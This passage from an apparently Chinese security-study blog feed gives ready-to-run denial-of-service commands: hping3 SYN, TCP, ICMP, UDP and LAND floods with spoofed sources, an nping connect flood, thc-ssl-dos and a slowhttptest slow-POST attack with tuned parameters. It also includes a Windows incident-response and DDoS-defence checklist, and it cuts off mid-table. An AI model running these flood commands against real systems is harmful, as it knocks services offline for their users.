&lt;/div&gt;&lt;p&gt;使用后DNS服务器会返回信息（回包）给目标域名，导致端口受阻。&lt;/p&gt;
&lt;h3 id=&#34;hping3&#34;&gt;hping3
&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;定制发送任何的数据包&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;参数解释：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-a&lt;/code&gt;伪造数据包&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-q&lt;/code&gt;不返回&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-n&lt;/code&gt;不解析域名&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-s&lt;/code&gt;源端口&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-d&lt;/code&gt;字节数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-p&lt;/code&gt;端口&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--flood&lt;/code&gt;以flood形式进行攻击&lt;/p&gt;
&lt;h4 id=&#34;syn-flood&#34;&gt;syn-flood
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -c &lt;span class=&#34;m&#34;&gt;3000&lt;/span&gt; -d &lt;span class=&#34;m&#34;&gt;120&lt;/span&gt; -S -w &lt;span class=&#34;m&#34;&gt;64&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;端口号&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; --flood --rand-source &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;或（简化版）
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -S -P -p &lt;span class=&#34;m&#34;&gt;80&lt;/span&gt; --flood --rand-source &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;tcp-flood&#34;&gt;tcp-flood
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -SARUFP -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;端口号&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; --flood --rand-source &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;icmp-flood&#34;&gt;icmp-flood
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -q -n -a 1.1.1.1 --icmp -d &lt;span class=&#34;m&#34;&gt;56&lt;/span&gt; --flood &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;udp-flood&#34;&gt;udp-flood
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -a 1.1.1.1 --udp -s &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; -d &lt;span class=&#34;m&#34;&gt;100&lt;/span&gt; -p &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; --flood &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;land&#34;&gt;LAND
&lt;/h4&gt;&lt;blockquote&gt;
&lt;p&gt;一种特殊的syn-flood攻击，源地址和目的地址都是受害者，自己和自己完成三次握手&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo hping3 -n -a &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -S -d &lt;span class=&#34;m&#34;&gt;100&lt;/span&gt; -p &lt;span class=&#34;m&#34;&gt;80&lt;/span&gt; --flood &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;tcp全链接dos攻击&#34;&gt;TCP全链接DOS攻击
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注：&lt;/strong&gt; 命令中的数据任意，够大就行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nping --tcp-connect --rate&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;10000&lt;/span&gt; -c &lt;span class=&#34;m&#34;&gt;10000000000&lt;/span&gt; -q &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;应急响应&#34;&gt;应急响应
&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;如果我被黑客入侵了会发生什么？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;web入侵：&lt;/strong&gt; 挂马、网页篡改、植入webshell、黑页、暗链等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主机入侵：&lt;/strong&gt; 病毒木马、勒索病毒、远控后门、系统异常、RDP爆破、SSH爆破、主机漏洞、数据库入侵等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络攻击：&lt;/strong&gt; DDOS/CC攻击、ARP攻击、DNS/HTTP劫持&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由器交换机攻击：&lt;/strong&gt; 内网病毒、配置错误、机器本身漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;查看日志&#34;&gt;查看日志
&lt;/h3&gt;&lt;h4 id=&#34;使用日志查看器&#34;&gt;使用日志查看器
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;方法一：&lt;/strong&gt; 使用&lt;code&gt;Win+R&lt;/code&gt;并输入mmc打开控制台根节点，在工具栏中选择 &lt;strong&gt;文件&amp;ndash;添加/删除管理单元&amp;ndash;事件查看器&lt;/strong&gt; 并添加&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法二：&lt;/strong&gt; 右键桌面上的“此电脑”，点击“管理”，选择事件查看器即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法三：&lt;/strong&gt; 使用&lt;code&gt;Win+R&lt;/code&gt;并输入&lt;code&gt;eventvwr.msc&lt;/code&gt;回车即可&lt;/p&gt;
&lt;h4 id=&#34;windows日志位置&#34;&gt;Windows日志位置：
&lt;/h4&gt;&lt;p&gt;Windows 2000/2003/xp：&lt;code&gt;\%Systemroot%\System32\Config\*.evt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Windows vista/7/8及以后：&lt;code&gt;\%Systemroot%\System32\winevt\Logs\*evtx&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;检查账户&#34;&gt;检查账户
&lt;/h3&gt;&lt;h4 id=&#34;图形化界面检查&#34;&gt;图形化界面检查
&lt;/h4&gt;&lt;p&gt;可以在刚才的mmc中 &lt;strong&gt;添加本地用户和组&lt;/strong&gt; ，也可以在“此电脑”的 &lt;strong&gt;管理&lt;/strong&gt; 中打开&lt;/p&gt;
&lt;p&gt;检查Guest账户是否开启、是否存在隐藏账户等&lt;/p&gt;
&lt;h4 id=&#34;通过注册表检查&#34;&gt;通过注册表检查
&lt;/h4&gt;&lt;p&gt;转到&lt;code&gt;\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\&lt;/code&gt;下，检查其中名字较长的几个文件夹是否有可以账户存在&lt;/p&gt;
&lt;h3 id=&#34;文件分析&#34;&gt;文件分析
&lt;/h3&gt;&lt;h4 id=&#34;检查临时目录&#34;&gt;检查临时目录
&lt;/h4&gt;&lt;p&gt;转到&lt;code&gt;C:\Users\Administrator\Local Settings\Temp&lt;/code&gt;（必须直接敲完整路径，不然找不到）&lt;/p&gt;
&lt;p&gt;检查桌面文件夹&lt;code&gt;C:\Users\Administrator\Desktop&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;检查访问记录&#34;&gt;检查访问记录
&lt;/h4&gt;&lt;p&gt;转到&lt;code&gt;C:\Users\Administrator\Recent&lt;/code&gt;（必须直接敲完整路径，不然找不到）&lt;/p&gt;
&lt;p&gt;这是最近访问的文件&lt;/p&gt;
&lt;h4 id=&#34;检查文件修改时间&#34;&gt;检查文件修改时间
&lt;/h4&gt;&lt;h4 id=&#34;检查hosts文件&#34;&gt;检查hosts文件
&lt;/h4&gt;&lt;h3 id=&#34;网络行为排查&#34;&gt;网络行为排查
&lt;/h3&gt;&lt;p&gt;使用网络沙箱：&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/home/upload&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;TotalVirus&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://s.threatbook.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;微步云沙箱&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;检查备案情况：&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://beian.miit.gov.cn/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;ICP/IP地址/域名信息备案管理系统&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;直接Google&lt;/p&gt;
&lt;h3 id=&#34;网络连接排查&#34;&gt;网络连接排查
&lt;/h3&gt;&lt;p&gt;cmd执行：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netstat -ano&lt;/code&gt;	查看可疑连接和进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tasklist&lt;/code&gt;		找到可疑进程&lt;/p&gt;
&lt;h3 id=&#34;流量分析&#34;&gt;流量分析
&lt;/h3&gt;&lt;p&gt;使用WireShark、Charles&lt;/p&gt;
&lt;h3 id=&#34;漏洞和补丁信息&#34;&gt;漏洞和补丁信息
&lt;/h3&gt;&lt;p&gt;命令&lt;code&gt;systeminfo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;打开Windows自动更新&lt;/p&gt;
&lt;h3 id=&#34;网络攻击的判断与防御&#34;&gt;网络攻击的判断与防御
&lt;/h3&gt;&lt;h4 id=&#34;ddos通用防御&#34;&gt;DDOS通用防御
&lt;/h4&gt;&lt;p&gt;限制单ip请求、负载均衡、cdn、禁止icm、隐藏真实ip、流量清洗、优化tcp/ip栈、代码合理使用缓存、cdn云清洗&lt;/p&gt;
&lt;h4 id=&#34;syn攻击判断&#34;&gt;syn攻击判断
&lt;/h4&gt;&lt;p&gt;服务器cpu占用率高，大量SYN_RECEIVED网络连接状态，网络恢复后负载瞬间变高，断开后负载下降】&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;防御：&lt;/strong&gt; 提高半开放连接队列的大小&lt;/p&gt;
&lt;h4 id=&#34;udp攻击判断&#34;&gt;udp攻击判断
&lt;/h4&gt;&lt;p&gt;服务器cpu占用率高，每秒大量数据包，tcp正常&lt;/p&gt;
&lt;h4 id=&#34;cc攻击&#34;&gt;cc攻击
&lt;/h4&gt;&lt;p&gt;服务器cpu占用率高，web服务器出现service unavailable提示，大量establish网络连接，单ip高达上百，用户无法正常访问&lt;/p&gt;
&lt;h4 id=&#34;dns放大攻击-1&#34;&gt;DNS放大攻击
&lt;/h4&gt;&lt;p&gt;大量的dns请求&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;防御：&lt;/strong&gt; ips规则，关闭递归查询，DNS解析器只接受受信任的域名服务，acl&lt;/p&gt;
&lt;h4 id=&#34;arp欺骗判断&#34;&gt;ARP欺骗判断
&lt;/h4&gt;&lt;p&gt;cmd执行&lt;code&gt;arp -a&lt;/code&gt;查看mac地址是否重复，特别是网关&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;防御：&lt;/strong&gt; 防火墙，mac地址绑定&lt;/p&gt;
&lt;h3 id=&#34;可疑进程分析&#34;&gt;可疑进程分析
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;tasklist&lt;/code&gt;查看进程&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;名称随机，后缀也不是exe的是可疑进程&lt;/li&gt;
&lt;li&gt;任务管理器中svchost.exe运行的权限太过普通（例如你的用户名）&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;code&gt;tasklist | findstr 进程名称&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以使用 &lt;strong&gt;pchunter&lt;/strong&gt; 软件查看&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wmic process | find &amp;quot;进程id&amp;quot; &amp;gt; proc.csv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tasklist /svc&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;启动项排查&#34;&gt;启动项排查
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;排查以下几个位置：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其他见&lt;a class=&#34;link&#34; href=&#34;https://www.retr0.xyz/p/1.14-%E8%87%AA%E5%90%AF%E5%8A%A8%E5%92%8Cdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%AD%A5/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;1.14 自启动和DOS攻击初步&lt;/a&gt;的2.2部分&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;code&gt;Win+R&lt;/code&gt;输入&lt;code&gt;msconfig&lt;/code&gt;在 &lt;strong&gt;启动&lt;/strong&gt; 选项卡中查看启动项（高版本Windows可能移动到任务管理器中）&lt;/li&gt;
&lt;li&gt;排查&lt;code&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;排查是否有可疑的服务&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;计划任务排查&#34;&gt;计划任务排查
&lt;/h3&gt;&lt;p&gt;排查&lt;code&gt;C:\Windows\System32\Tasks&lt;/code&gt;和&lt;code&gt;C:\Windows\Tasks&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;也可以在mmc或者此电脑的管理中查看计划任务&lt;/p&gt;
&lt;h3 id=&#34;特定事件痕迹&#34;&gt;特定事件痕迹
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;挖矿程序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;勒索病毒&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;使用工具windows-kernel-explorer&#34;&gt;使用工具：Windows Kernel Explorer
&lt;/h3&gt;&lt;p&gt;下载地址：&lt;a class=&#34;link&#34; href=&#34;https://github.com/AxtMueller/Windows-Kernel-Explorer/tree/master/binaries&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;AxtMueller/Windows-Kernel-Explorer&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.14 自启动和DOS攻击初步</title>
        <link>https://www.retr0.xyz/p/1.14-%E8%87%AA%E5%90%AF%E5%8A%A8%E5%92%8Cdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%AD%A5/</link>
        <pubDate>Tue, 16 Dec 2025 18:07:16 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.14-%E8%87%AA%E5%90%AF%E5%8A%A8%E5%92%8Cdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%AD%A5/</guid>
        <description>&lt;h2 id=&#34;dos拒绝服务攻击&#34;&gt;DOS拒绝服务攻击
&lt;/h2&gt;&lt;h3 id=&#34;ssl-dos&#34;&gt;ssl-dos
&lt;/h3&gt;&lt;p&gt;一般用于打击https网站，如果目标挂了CDN无效&lt;/p&gt;
&lt;p&gt;安装：执行&lt;code&gt;sudo apt-get install thc-ssl-dos&lt;/code&gt;安装程序&lt;/p&gt;
&lt;p&gt;攻击：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;thc-ssl-dos &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;443&lt;/span&gt; --accept
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;慢速攻击&#34;&gt;慢速攻击
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;安装程序：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install openssl
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install libssl-dev
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install slowhttptest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;slow-http-post攻击针对接受-post-请求的接口&#34;&gt;slow http Post攻击（针对接受 POST 请求的接口）
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;攻击命令：&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;slowhttptest -c &lt;span class=&#34;m&#34;&gt;2000&lt;/span&gt; -B -g -o body_states -i &lt;span class=&#34;m&#34;&gt;110&lt;/span&gt; -r &lt;span class=&#34;m&#34;&gt;200&lt;/span&gt; -s &lt;span class=&#34;m&#34;&gt;8192&lt;/span&gt; -t FAKEVERB -u http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -x &lt;span class=&#34;m&#34;&gt;10&lt;/span&gt; -p &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;参数解释：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;参数&lt;/th&gt;
          &lt;th&gt;英文全称/含义&lt;/th&gt;
          &lt;th&gt;具体作用&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-c 2000&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;connections&lt;/code&gt;（并发连接数）&lt;/td&gt;
          &lt;td&gt;指定向目标服务器同时建立&lt;strong&gt;2000个并发HTTP连接&lt;/strong&gt;，这是攻击的核心资源消耗项，连接数越多，对服务器的资源占用越严重。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-B&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;Body attack&lt;/code&gt;（慢POST攻击）&lt;/td&gt;
          &lt;td&gt;明确攻击类型为&lt;strong&gt;Slow POST（慢POST攻击）&lt;/strong&gt;（也叫Body byterange attack），这是慢HTTP攻击的一种，核心是故意缓慢发送POST请求体，长时间占用服务器连接。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-g&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;generate statistics&lt;/code&gt;（生成统计日志）&lt;/td&gt;
          &lt;td&gt;启用日志记录功能，会生成&lt;strong&gt;CSV格式的原始数据文件&lt;/strong&gt;和&lt;strong&gt;HTML格式的可视化报告&lt;/strong&gt;，用于记录攻击过程中的连接状态、响应时间、服务器负载等数据。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-o body_states&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;output prefix&lt;/code&gt;（输出文件前缀）&lt;/td&gt;
          &lt;td&gt;指定日志文件的前缀为&lt;code&gt;body_states&lt;/code&gt;，结合&lt;code&gt;-g&lt;/code&gt;参数，会生成&lt;code&gt;body_states.csv&lt;/code&gt;（数据文件）和&lt;code&gt;body_states.html&lt;/code&gt;（可视化报告）两个文件。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-i 110&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;interval&lt;/code&gt;（数据块发送间隔）&lt;/td&gt;
          &lt;td&gt;指定每次发送请求体数据块之间的&lt;strong&gt;时间间隔为110毫秒（ms）&lt;/strong&gt;。间隔越长，服务器的连接被占用的时间越久，攻击效果越显著。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-r 200&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;rate&lt;/code&gt;（每秒新建连接数）&lt;/td&gt;
          &lt;td&gt;指定&lt;strong&gt;每秒向目标新建200个连接&lt;/strong&gt;，直到达到&lt;code&gt;-c 2000&lt;/code&gt;的并发连接上限（约10秒可达到2000个并发）。&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-s 8192&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;content length size&lt;/code&gt;（内容长度）&lt;/td&gt;
